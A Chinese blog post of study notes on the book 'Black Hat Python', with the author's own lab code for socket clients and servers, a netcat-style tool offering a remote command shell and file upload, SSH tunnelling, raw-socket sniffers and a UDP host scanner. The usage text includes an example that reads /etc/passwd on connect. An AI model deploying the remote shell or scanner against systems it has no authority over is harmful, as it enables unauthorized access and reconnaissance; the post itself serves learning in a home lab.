devbox
Cpp五条
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

Python黑帽子--黑客与渗透测试编程之道_paramiko.ssh_exception.sshexception: channel close

作者：Cpp五条 | 2024-03-11 14:08:08

赞

踩

paramiko.ssh_exception.sshexception: channel closed.

为了方便查找，请看目录（手机端就没有目录哦）→→→→→→→→→→→→→→→

注：本文篇幅较大，请耐心等待（power by 《Python黑帽子:黑客与渗透测试编程之道 》）

 

欢迎光顾我的新博客：https://www.giantbranch.cn

 

终于学完了，也敲完代码了，其中有好几个都没成功实践出作者的预期结果，知道我哪里错的，欢迎指点。（有问题的同学可以看看评论，或许有其他同学解答了的）

最后感谢 用户  mackf，qq_31229763 的鼓励

 

全部代码下载(github)：我手敲的代码，中文注释(还添加了自己的注释)，也有作者提供的源码，不过作者的不完整,我的还包含了字典什么的[这是个超链接]

 

第一章 设置Python环境

kali虚拟机

开始用pip安装github3.py，没什么问题

跟着安装WingIDE，下载linux对应位数的版本的deb，就行了，但是产生了依赖

 

于是修改软件源APT-sources.list

vim /etc/apt/sources.list

将原来的注释掉，加了个阿里的

 

#阿里云kali源

deb http://mirrors.aliyun.com/kali sana main non-free contrib

deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free

再

apt-get update & apt-get upgrade

apt-get -f install

最后再安装deb文件就行了，命令如上面截图

 

因为wingide收费版才有自动补全，那就用有现成序列号的pycharm4.5吧~~，没补全真难受

 

第二章 网络基础

 

TCP客户端

可以看到百度返回的HTTP响应啦

 

UDP客户端

首先先用nc监听一下9999端口，-u就是udp模式的啦，哈哈发过去了，最后打印出了ip和端口，nc没发数据过来，可能就没收到数据咯

现在就可以比较一下tcp和udp的区别了，最核心的是udp不用连接，因为是无状态的协议

发送和接受的函数也是有区别的，通过实验发现recv和recvfrom的参数是接收几个字符的意思

 

TCP服务器

 

  1. #-*- coding:utf8 -*-
  2. import  socket
  3. import threading
  4.  
  5. bind_ip = "0.0.0.0"     #绑定ip：这里代表任何ip地址
  6. bind_port = 8888
  7.  
  8. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9.  
  10. server.bind((bind_ip, bind_port))
  11. # 最大连接数为5
  12. server.listen(5)
  13.  
  14. print "[*] Listening on %s:%d" % (bind_ip, bind_port)
  15.  
  16. # 这是客户处理进程
  17. def handle_client(client_socket):
  18.     #打印出客户端发送得到的内容
  19.     request = client_socket.recv(1024)
  20.  
  21.     print "[*] Received: %s" % request
  22.  
  23.     #发送一个数据包
  24.     client_socket.send("ACK!")
  25.     client_socket.close()
  26.  
  27.  
  28. while True:
  29.     client,addr = server.accept()
  30.  
  31.     print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])
  32.  
  33.     #挂起客户端线程，处理传人的数据
  34.     client_handler = threading.Thread(target=handle_client, args=(client,))
  35.     client_handler.start()

 

用之前的tcp客户端连接，收到信息了

同时，服务端也收到了客户端发来的信息

 

取代netcat

代码：

 

  1. #!/usr/bin/python
  2. #-*- coding:utf8 -*-
  3. import sys
  4. import socket
  5. import getopt
  6. import threading
  7. import subprocess
  8.  
  9. # 定义一些全局变量
  10. listen = False
  11. command = False
  12. upload = False
  13. execute = ""
  14. target = ""
  15. upload_destination = ""
  16. port = 0
  17.  
  18. def run_command(command):
  19.  
  20.     # 删除字符串末尾的空格
  21.     command = command.rstrip()
  22.     # 运行命令并将输出放回
  23.     try:
  24.         output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
  25.     except:
  26.         output = "Failed to execute command.\r\n"
  27.     # 将输出发送
  28.     return output
  29.  
  30.  
  31. def client_handler(client_socket):
  32.     global upload
  33.     global execute
  34.     global command
  35.  
  36.     # 检查上传文件
  37.     if len(upload_destination):
  38.         # 读取所有的字符并写下目标
  39.         file_buffer = ""
  40.         # 持续读取数据直到没有符合的数据
  41.         while True:
  42.             data = client_socket.recv(1024)
  43.  
  44.             if not data:
  45.                 break
  46.             else:
  47.                 file_buffer += data
  48.  
  49.         try:
  50.             file_descriptor = open(upload_destination, "wb")
  51.             file_descriptor.write(file_buffer)
  52.             file_descriptor.close()
  53.  
  54.             client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
  55.         except:
  56.             client_socket.send("Failed to save file to %s\r\n" % upload_destination)
  57.  
  58.     # 检查命令执行
  59.     if len(execute):
  60.         # 运行命令
  61.         output = run_command(execute)
  62.         client_socket.send(output)
  63.  
  64.  
  65.     # 如果需要一个命令行shell,那么我们进入另一个循环
  66.     if command:
  67.         while True:
  68.             # 跳出一个窗口
  69.             client_socket.send("<BHP:#>")
  70.  
  71.             cmd_buffer = ""
  72.             while "\n" not in cmd_buffer:
  73.                 cmd_buffer += client_socket.recv(1024)
  74.             #  返回命令输出
  75.             response = run_command(cmd_buffer)
  76.             # 返回响应数据
  77.             client_socket.send(response)
  78.  
  79. def server_loop():
  80.     global target
  81.  
  82.     # 如果没有定义目标,那我们监听所有接口
  83.     if not len(target):
  84.         target = "0.0.0.0"
  85.  
  86.     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  87.     server.bind((target, port))
  88.  
  89.     server.listen(5)
  90.  
  91.     while True:
  92.         client_socket, addr = server.accept()
  93.         # 分拆一个线程处理新的客户端
  94.         client_thread = threading.Thread(target=client_handler, args=(client_socket,))
  95.         client_thread.start()
  96.  
  97. def client_sender(buffer):
  98.     client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  99.  
  100.     try:
  101.         # 连接到目标主机
  102.         client.connect((target, port))
  103.  
  104.         if len(buffer):
  105.             client.send(buffer)
  106.  
  107.         while True:
  108.             # 现在等待数据回传
  109.             recv_len = 1
  110.             response = ""
  111.  
  112.             while recv_len:
  113.                 data = client.recv(4096)
  114.                 recv_len = len(data)
  115.                 response += data
  116.  
  117.                 if recv_len < 4096:
  118.                     break
  119.  
  120.             print  response
  121.  
  122.             # 等待更多的输入
  123.             buffer = raw_input("")
  124.             buffer += "\n"
  125.  
  126.             # 发送出去
  127.             client.send(buffer)
  128.  
  129.     except:
  130.         print "[*] Exception! Exiting."
  131.  
  132.     #关闭连接
  133.     client.close()
  134.  
  135. def usage():
  136.     print "BHP Net Tool"
  137.     print
  138.     print "Usage: bhpnet.py -t target_host - p port"
  139.     print "-l --listen              - listen on [host]:[port] for incoming connections"
  140.     print "-e --execute=file_to_run -execute the given file upon receiving a connection"
  141.     print "-c --command             - initialize a commandshell"
  142.     print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
  143.     print
  144.     print
  145.     print "Examples:"
  146.     print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
  147.     print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
  148.     print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
  149.     print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
  150.     sys.exit(0)
  151.  
  152. def main():
  153.     global listen
  154.     global port
  155.     global execute
  156.     global command
  157.     global upload_destination
  158.     global target
  159.  
  160.     if not  len(sys.argv[1:]):
  161.         usage()
  162.  
  163.  
  164.     # 读取命令行选项,若没有该选项则显示用法
  165.     try:
  166.         opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
  167.     except getopt.GetoptError as err:
  168.         print str(err)
  169.         usage()
  170.  
  171.  
  172.     for o,a in opts:
  173.         if o in ("-h","--help"):
  174.             usage()
  175.         elif o in ("-l", "--listen"):
  176.             listen = True
  177.         elif o in ("-e", "--execute"):
  178.             execute = a
  179.         elif o in ("-c", "--commandshell"):
  180.             command = True
  181.         elif o in ("-u", "--upload"):
  182.             upload_destination = a
  183.         elif o in ("-t", "--target"):
  184.             target = a
  185.         elif o in ("-p", "--port"):
  186.             port = int(a)
  187.         else:
  188.             assert False,"Unhandled Option"
  189.  
  190.     #我们是进行监听还是仅从标准输入读取数据并发送数据？
  191.     if not listen and len(target) and port > 0:
  192.  
  193.         # 从命令行读取内存数据
  194.         # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
  195.         buffer = sys.stdin.read()
  196.  
  197.         # 发送数据
  198.         client_sender(buffer)
  199.  
  200.     # 我们开始监听并准备上传文件,执行命令
  201.     # 放置一个反弹shell
  202.     # 取决于上面的命令行选项
  203.     if listen:
  204.         server_loop()
  205.  
  206. #调用main函数
  207. main()

 

一开始没在前头打python，默认是不是用python解析运行的，所以会出错，kali就会变成截图了

 

下面的客户端连接时，连接后要按CTRL+D让其返回shell

 

如果你不想每次都打python才能运行，就在第一行加入#!/usr/bin/python（如果python默认安装在那个目录的话）

 

创建一个TCP代理

用法: ./文件名.py [localhost] [localport] [remotehost] [remoteport] [receive_first]           //最后一个参数是 是否从远程服务器（主机）接收数据

可以看到这个是监听本地的80端口，远程主机就是百度的域名，也是80端口，那么我们将代理设置为127.0.0.1 80的话，其实我们只能访问百度，因为开代理时已决定了你要访问的域名（主机），具体看下图

设置完代理，再打开百度，我们在下图可看到GET请求的全部内容，这确实比我们直接访问百度多了一跳。

过程如下：

浏览器将GET请求发送给本地的80端口，又我们的程序监听的是本地的80端口，就会将GET请求发送给远程主机（即我们开启程序时设置的www.baidu.com的80端口），最后再将www.baidu.com返回的数据给回程序，再给回浏览器（那为什么我们访问其他网址或ip不能呢，就是你发送的GET请求给www.baidu.com他会返回你要的网址的内容给你么，那当然不会，所以就只能访问百度域名下的各种目录）

还有返回的响应数据，其实我觉得这好像在抓包了

 

 

通过Paramiko使用SSH

首先安装paramiko模块，还是去了点小问题，好像是安装过了吧，要我升级一下？

代码（这里也是可以用密钥认证来登陆的，这里就注释掉了）

可以看到跟我直接用xshell 连接自己的树莓派执行的结果是一致的。

 

反向ssh

为了适应非默认端口，改了一下作者的客户端代码，修改处已圈出

可能是什么权限什么的，认证成功，最后连接不成功

在kali测试还是一样~~，有谁告诉我原因，我只有那个私钥和作者不一样啊~~~

 

2017.06.03更新：

感谢largewave用户指出：

在下面的Server类中的check_channel_request函数应该return paramiko.OPEN_SUCCEEDED

而不是paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

 

  1. class Server(paramiko.ServerInterface):
  2.     def __init__(self):
  3.         self.event = threading.Event()
  4.     def check_channel_request(self, kind, chanid):
  5.         if kind == 'session':
  6.             return paramiko.OPEN_SUCCEEDED
  7.     def check_auth_password(self, username, password):
  8.         if (username == 'root') and (password == 'lovepython'):
  9.             return paramiko.AUTH_SUCCESSFUL
  10.         return paramiko.AUTH_FAILED

 

 

 

这样即可认证成功，但之后执行命令又出现问题了，

报错如下：

paramiko.ssh_exception.SSHException: Channel closed.

知道的可以继续留言，感谢各位的交流和学习，虽然好久没搞web 了

 

ssh隧道

建议看一下这篇文章，你会对ssh隧道的理解更直观，我的理解简单来说就是一条管道，其实别人说隧道也觉得差不多啦

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

 

在本地用locate命令找不到paramiko的示例文件rforward.py，最终通过谷歌终于找到了，原来在github上：https://github.com/paramiko/paramiko/tree/master/demos，之前那个test_rsa.key文件也在上面了

 

一开始将我的树莓派（192.168.88.102）作为ssh客户端，端口为5556,，与kali（10.10.10.145:6666）建立一个反向ssh隧道

在服务端kaili执行

 

python rforward.py 192.168.88.102 -p 5556  -r 10.10.10.145:6666  --user pi --password

 

 

跟着kali端  

 

nc -l 6666


但在树莓派执行

 

 

nc 127.0.0.1 5556

并不能连接，出错了（说是拒绝），详见下图最后一行

 

 

于是就尝试kali的22端口

 

python rforward.py 192.168.88.102 -p 5556  -r 10.10.10.145:22  --user pi --password

 

 

 

 

 

可以看到成功了，而且隧道建立后树莓派那边（客户端）的127.0.0.1:5556处于监听状态，我们发送到本地5556的请求会转发到10.10.10.145的22端口啦~~

 

 

第三章 网络：原始套接字和流量嗅探

 

Windows和Linux上的包嗅探

 

  1. #-*- coding:utf8 -*-
  2.  
  3.  
  4. import socket
  5. import os
  6.  
  7.  
  8. # 监听主机，即监听那个网络接口，下面的为我的kali的ip
  9. host = "10.10.10.145"
  10.  
  11.  
  12. # 创建原始套接字,然后绑定在公开接口上
  13. if  os.name == "nt":
  14.     socket_protocol = socket.IPPROTO_IP
  15. else:
  16.     socket_protocol = socket.IPPROTO_ICMP
  17.  
  18.  
  19. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧
  20.  
  21.  
  22. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~
  23.  
  24.  
  25. # 设置在捕获的数据包中包含IP头
  26. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  27.  
  28.  
  29. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式
  30. if os.name == "nt":
  31.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO)
  32.  
  33.  
  34. # 读取单个数据包
  35. print sniffer.recvfrom(65565)
  36.  
  37.  
  38. # 在Windows平台上关闭混杂模式
  39. if os.name == "nt":
  40.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

 

 

运行结果：可以看到成功抓取到了ping的包，虽然前面的看不懂，但最后的ip机看得懂了

 

 

解码IP层

 

  1. #-*- coding:utf8 -*-
  2.  
  3. import socket
  4. import os
  5. import struct
  6. from ctypes import *
  7.  
  8. # 监听主机，即监听那个网络接口，下面的ip为我的kali的ip
  9. host = "10.10.10.145"
  10.  
  11. # ip头定义
  12. class IP(Structure):
  13.     _fields_ = [
  14.         ("ihl",             c_ubyte, 4),    #ip head length:头长度
  15.         ("version",         c_ubyte, 4),    #版本
  16.         ("tos",             c_ubyte),       #服务类型
  17.         ("len",             c_ushort),      #ip数据包总长度
  18.         ("id",              c_ushort),       #标识符
  19.         ("offset",          c_ushort),      #片偏移
  20.         ("ttl",             c_ubyte),       #生存时间
  21.         ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
  22.         ("sum",             c_ushort),      #头部校验和
  23.         ("src",             c_ulong),       #源ip地址
  24.         ("dst",             c_ulong)        #目的ip地址
  25.     ]
  26.  
  27.     # __new__(cls, *args, **kwargs)  创建对象时调用，返回当前对象的一个实例;注意：这里的第一个参数是cls即class本身
  28.     def __new__(self, socket_buffer=None):
  29.         return  self.from_buffer_copy(socket_buffer)
  30.  
  31.     # __init__(self, *args, **kwargs) 创建完对象后调用，对当前对象的实例的一些初始化，无返回值,即在调用__new__之后，根据返回的实例初始化；注意，这里的第一个参数是self即对象本身【注意和new的区别】
  32.     def __init__(self, socket_buffer=None):
  33.         # 协议字段与协议名称的对应
  34.         self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
  35.  
  36.         # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
  37.         self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
  38.         self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))
  39.  
  40.         # 协议类型
  41.         try:
  42.             self.protocol = self.protocol_map[self.protocol_num]
  43.         except:
  44.             self.protocol = str(self.protocol_num)
  45.  
  46.  
  47.  
  48. if  os.name == "nt":
  49.     socket_protocol = socket.IPPROTO_IP
  50. else:
  51.     socket_protocol = socket.IPPROTO_ICMP
  52.  
  53. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧
  54.  
  55. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~
  56.  
  57. # 设置在捕获的数据包中包含IP头
  58. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  59.  
  60. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式
  61. if os.name == "nt":
  62.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
  63. try:
  64.     while True:
  65.         # 读取数据包
  66.         raw_buffer =  sniffer.recvfrom(65565)[0]
  67.  
  68.         # 将缓冲区的前20个字节按IP头进行解析
  69.         ip_header = IP(raw_buffer[0:20])
  70.  
  71.         # 输出协议和通信双方IP地址
  72.         print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
  73.  
  74. # 处理CTRL-C
  75. except  KeyboardInterrupt:
  76.  
  77.     # 如果运行再Windows上,关闭混杂模式
  78.     if os.name == "nt":
  79.         sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

 

 

 

在windows 7运行结果，我开的软件比较多，抓取数据速度还是很快

 

但在kali就又出问题了，不知道为什么，20改成32也不行，因为解析是按20字节解析的

 

放到我的树莓派去试试吧~，一开始没用sudo，应该是原始套接字需要较高权限，毕竟比较底层的东西

跟着呢就ping了两下百度，也抓取到了，ip是没错的，linux只能抓icmp的，所以只能看到这两条了，不然还能看到树莓派其他软件的网络数据流量

 

 

解码ICMP

 

这是一个完整的ICMP类型的列表：从百科复制过来的，以便于分析

type=3且code=3就说明主机存在，因为发送UDP数据到关闭的端口会产生type=3且code=3的ICMP包，如果不存在这样的主机他是不会回复的

TYPECODEDescriptionQueryError
00Echo Reply——回显应答（Ping应答）x 
30Network Unreachable——网络不可达 x
31Host Unreachable——主机不可达 x
32Protocol Unreachable——协议不可达 x
33Port Unreachable——端口不可达 x
34Fragmentation needed but no frag. bit set——需要进行分片但设置不分片比特 x
35Source routing failed——源站选路失败 x
36Destination network unknown——目的网络未知 x
37Destination host unknown——目的主机未知 x
38Source host isolated (obsolete)——源主机被隔离（作废不用） x
39Destination network administratively prohibited——目的网络被强制禁止 x
310Destination host administratively prohibited——目的主机被强制禁止 x
311Network unreachable for TOS——由于服务类型TOS，网络不可达 x
312Host unreachable for TOS——由于服务类型TOS，主机不可达 x
313Communication administratively prohibited by filtering——由于过滤，通信被强制禁止 x
314Host precedence violation——主机越权 x
315Precedence cutoff in effect——优先中止生效 x
40Source quench——源端被关闭（基本流控制）  
50Redirect for network——对网络重定向  
51Redirect for host——对主机重定向  
52Redirect for TOS and network——对服务类型和网络重定向  
53Redirect for TOS and host——对服务类型和主机重定向  
80Echo request——回显请求（Ping请求）x 
90Router advertisement——路由器通告  
100Route solicitation——路由器请求  
110TTL equals 0 during transit——传输期间生存时间为0 x
111TTL equals 0 during reassembly——在数据报组装期间生存时间为0 x
120IP header bad (catchall error)——坏的IP首部（包括各种差错） x
121Required options missing——缺少必需的选项 x
130Timestamp request (obsolete)——时间戳请求（作废不用）x 
14 Timestamp reply (obsolete)——时间戳应答（作废不用）x 
150Information request (obsolete)——信息请求（作废不用）x 
160Information reply (obsolete)——信息应答（作废不用）x 
170Address mask request——地址掩码请求x 
180Address mask reply——地址掩码应答  

 

  1. #-*- coding:utf8 -*-
  2.  
  3. import socket
  4. import os
  5. import struct
  6. from ctypes import *
  7.  
  8. # 监听主机，即监听那个网络接口，下面的ip为我的kali的ip
  9. host = "10.10.10.145"
  10.  
  11. # ip头定义
  12. class IP(Structure):
  13.     _fields_ = [
  14.         ("ihl",             c_ubyte, 4),    #ip head length:头长度
  15.         ("version",         c_ubyte, 4),    #版本
  16.         ("tos",             c_ubyte),       #服务类型
  17.         ("len",             c_ushort),      #ip数据包总长度
  18.         ("id",              c_ushort),       #标识符
  19.         ("offset",          c_ushort),      #片偏移
  20.         ("ttl",             c_ubyte),       #生存时间
  21.         ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
  22.         ("sum",             c_ushort),      #头部校验和
  23.         ("src",             c_ulong),       #源ip地址
  24.         ("dst",             c_ulong)        #目的ip地址
  25.     ]
  26.  
  27.     # __new__(cls, *args, **kwargs)  创建对象时调用，返回当前对象的一个实例;注意：这里的第一个参数是cls即class本身
  28.     def __new__(self, socket_buffer=None):
  29.         return  self.from_buffer_copy(socket_buffer)
  30.  
  31.     # __init__(self, *args, **kwargs) 创建完对象后调用，对当前对象的实例的一些初始化，无返回值,即在调用__new__之后，根据返回的实例初始化；注意，这里的第一个参数是self即对象本身【注意和new的区别】
  32.     def __init__(self, socket_buffer=None):
  33.         # 协议字段与协议名称的对应
  34.         self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
  35.  
  36.         # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
  37.         self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
  38.         self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))
  39.  
  40.         # 协议类型
  41.         try:
  42.             self.protocol = self.protocol_map[self.protocol_num]
  43.         except:
  44.             self.protocol = str(self.protocol_num)
  45.  
  46.  
  47. class ICMP(Structure):
  48.     #
  49.     _fields_ = [
  50.         ("type",            c_ubyte),       #类型
  51.         ("code",            c_ubyte),       #代码值
  52.         ("checksum",        c_ubyte),       #头部校验和
  53.         ("unused",          c_ubyte),       #未使用
  54.         ("next_hop_mtu",    c_ubyte)        #下一跳的MTU
  55.     ]
  56.  
  57.     def __new__(self, socket_buffer):
  58.         return self.from_buffer_copy(socket_buffer)
  59.  
  60.     def __init__(self, socket_buffer):
  61.         pass
  62.  
  63.  
  64. if  os.name == "nt":
  65.     socket_protocol = socket.IPPROTO_IP
  66. else:
  67.     socket_protocol = socket.IPPROTO_ICMP
  68.  
  69. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧
  70.  
  71. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~
  72.  
  73. # 设置在捕获的数据包中包含IP头
  74. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  75.  
  76. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式
  77. if os.name == "nt":
  78.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
  79.  
  80. try:
  81.     while True:
  82.         # 读取数据包
  83.         raw_buffer =  sniffer.recvfrom(65565)[0]
  84.  
  85.         # 将缓冲区的前20个字节按IP头进行解析
  86.         ip_header = IP(raw_buffer[0:20])
  87.  
  88.         # 输出协议和通信双方IP地址
  89.         print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
  90.  
  91.         # 如果为ICMP,进行处理
  92.         if ip_header.protocol == "ICMP":
  93.  
  94.             # 计算ICMP包的起始位置,并获取ICMP包的数据
  95.             offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]
  96.             buf = raw_buffer[offset:offset+sizeof(ICMP)]
  97.  
  98.             # 解析ICMP数据
  99.             icmp_header = ICMP(buf)
  100.  
  101.             print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
  102.  
  103. # 处理CTRL-C
  104. except  KeyboardInterrupt:
  105.  
  106.     # 如果运行再Windows上,关闭混杂模式
  107.     if os.name == "nt":
  108.         sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)




下面看看ping通的情况 看上表，可看出是一个ping请求，一个ping应答

 

 

 

 

udp主机存活扫描器

首先要安装netaddr第三方库，这个处理IP非常方便

 

easy_install netaddr

如果没有这个命令，就要可能下载配置咯，具体百度，谷歌吧~

 

 

代码如下，改了一句作者的代码，让要扫描的目标网络接收命令行参数，默认就192.168.1.0/24

 

  1. #-*- coding:utf8 -*-
  2.  
  3. import socket
  4. import os
  5. import struct
  6. import threading
  7. import time
  8. import sys
  9. from netaddr import IPNetwork,IPAddress
  10. from ctypes import *
  11.  
  12. # 监听主机，即监听那个网络接口，下面的ip为我的kali的ip
  13. host = "10.10.10.145"
  14.  
  15. # 扫描的目标子网
  16. # subnet = "192.168.1.0/24"
  17. # 没有命令行参数,默认192.168.1.0/24
  18. if len(sys.argv) == 1:
  19.     subnet = "192.168.1.0/24"
  20. else:
  21.     subnet = sys.argv[1]
  22.  
  23. # 自定义的字符串,我们将在ICMP响应中进行核对
  24. magic_message = "PYTHONRULES!"
  25.  
  26. # 批量发送UDP数据包
  27. def udp_sender(subnet, magic_message):
  28.     time.sleep(5)   #可以说程序暂停5秒吧
  29.     # 建立一个socket对象(SOCK_DGRAM:UDP客户端)
  30.     sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  31.  
  32.     for ip in IPNetwork(subnet):
  33.         try:
  34.             # 尝试发送magic_message这个消息到子网的每个ip,还用了个不怎么可能用的65212端口
  35.             sender.sendto(magic_message, ("%s" % ip, 65212))
  36.         except:
  37.             pass    #代表什么也不做
  38.  
  39. # ip头定义
  40. class IP(Structure):
  41.     _fields_ = [
  42.         ("ihl",             c_ubyte, 4),    #ip head length:头长度
  43.         ("version",         c_ubyte, 4),    #版本
  44.         ("tos",             c_ubyte),       #服务类型
  45.         ("len",             c_ushort),      #ip数据包总长度
  46.         ("id",              c_ushort),       #标识符
  47.         ("offset",          c_ushort),      #片偏移
  48.         ("ttl",             c_ubyte),       #生存时间
  49.         ("protocol_num",    c_ubyte),       #协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
  50.         ("sum",             c_ushort),      #头部校验和
  51.         ("src",             c_ulong),       #源ip地址
  52.         ("dst",             c_ulong)        #目的ip地址
  53.     ]
  54.  
  55.     # __new__(cls, *args, **kwargs)  创建对象时调用，返回当前对象的一个实例;注意：这里的第一个参数是cls即class本身
  56.     def __new__(self, socket_buffer=None):
  57.         return  self.from_buffer_copy(socket_buffer)
  58.  
  59.     # __init__(self, *args, **kwargs) 创建完对象后调用，对当前对象的实例的一些初始化，无返回值,即在调用__new__之后，根据返回的实例初始化；注意，这里的第一个参数是self即对象本身【注意和new的区别】
  60.     def __init__(self, socket_buffer=None):
  61.         # 协议字段与协议名称的对应
  62.         self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
  63.  
  64.         # 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示。)
  65.         self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
  66.         self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))
  67.  
  68.         # 协议类型
  69.         try:
  70.             self.protocol = self.protocol_map[self.protocol_num]
  71.         except:
  72.             self.protocol = str(self.protocol_num)
  73.  
  74.  
  75. class ICMP(Structure):
  76.     #
  77.     _fields_ = [
  78.         ("type",            c_ubyte),       #类型
  79.         ("code",            c_ubyte),       #代码值
  80.         ("checksum",        c_ubyte),       #头部校验和
  81.         ("unused",          c_ubyte),       #未使用
  82.         ("next_hop_mtu",    c_ubyte)        #下一跳的MTU
  83.     ]
  84.  
  85.     def __new__(self, socket_buffer):
  86.         return self.from_buffer_copy(socket_buffer)
  87.  
  88.     def __init__(self, socket_buffer):
  89.         pass
  90.  
  91.  
  92. if  os.name == "nt":
  93.     socket_protocol = socket.IPPROTO_IP
  94. else:
  95.     socket_protocol = socket.IPPROTO_ICMP
  96.  
  97. sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)   #raw的中文是生的意思,大概就是原始套接字的意思吧
  98.  
  99. sniffer.bind((host, 0)) #这里端口为0,监听所有端口吧~
  100.  
  101. # 设置在捕获的数据包中包含IP头
  102. sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  103.  
  104. # 在Windows平台上,我们需要设置IOCTL以启用混杂模式
  105. if os.name == "nt":
  106.     sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
  107.  
  108. # 开启多线程发送udp数据包
  109. t = threading.Thread(target=udp_sender, args=(subnet, magic_message))
  110. t.start()
  111.  
  112. try:
  113.     while True:
  114.         # 读取数据包
  115.         raw_buffer =  sniffer.recvfrom(65565)[0]
  116.  
  117.         # 将缓冲区的前20个字节按IP头进行解析
  118.         ip_header = IP(raw_buffer[0:20])
  119.  
  120.         # 输出协议和通信双方IP地址
  121.         #print  "Protocol: %s %s ->  %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
  122.  
  123.         # 如果为ICMP,进行处理
  124.         if ip_header.protocol == "ICMP":
  125.  
  126.             # 计算ICMP包的起始位置,并获取ICMP包的数据
  127.             offset = ip_header.ihl * 4      #ihl是头部长度,代表32位(即4字节)长的分片的个数 [我的理解是因为一个字节表示一个符号,所以这里的offset要搞成以字节为单位的,为的是下一句的提取数据]
  128.             buf = raw_buffer[offset:offset+sizeof(ICMP)]
  129.  
  130.             # 解析ICMP数据
  131.             icmp_header = ICMP(buf)
  132.  
  133.             #print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
  134.  
  135.             # 检查类型和代码值是否都为3
  136.             if icmp_header.type == 3 and icmp_header.code == 3:
  137.                 # 确认响应的主机再我们的目标子网之内
  138.                 if IPAddress(ip_header.src_address) in IPNetwork(subnet):
  139.                     # 确认ICMP包中包含我们发送的自定义的字符串
  140.                     if raw_buffer[len(raw_buffer) - len(magic_message):] == magic_message:
  141.                         print "Host Up: %s" % ip_header.src_address
  142.  
  143.  
  144.  
  145. # 处理CTRL-C
  146. except  KeyboardInterrupt:
  147.  
  148.     # 如果运行再Windows上,关闭混杂模式
  149.     if os.name == "nt":
  150.         sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)


运行结果：

 

跟我手机的fing扫描的相比，少了我的手机的ip和另外一个我同学的手机，难道小米有防护？应该只能扫电脑了

值得肯定的是，跟360防蹭网的结果是一样的，说明360的估计方法用的差不多，详细见下一张图的下一张

fing还是挺强大的，能识别主流设备，如树莓派，小米手机等，详细见下图

 

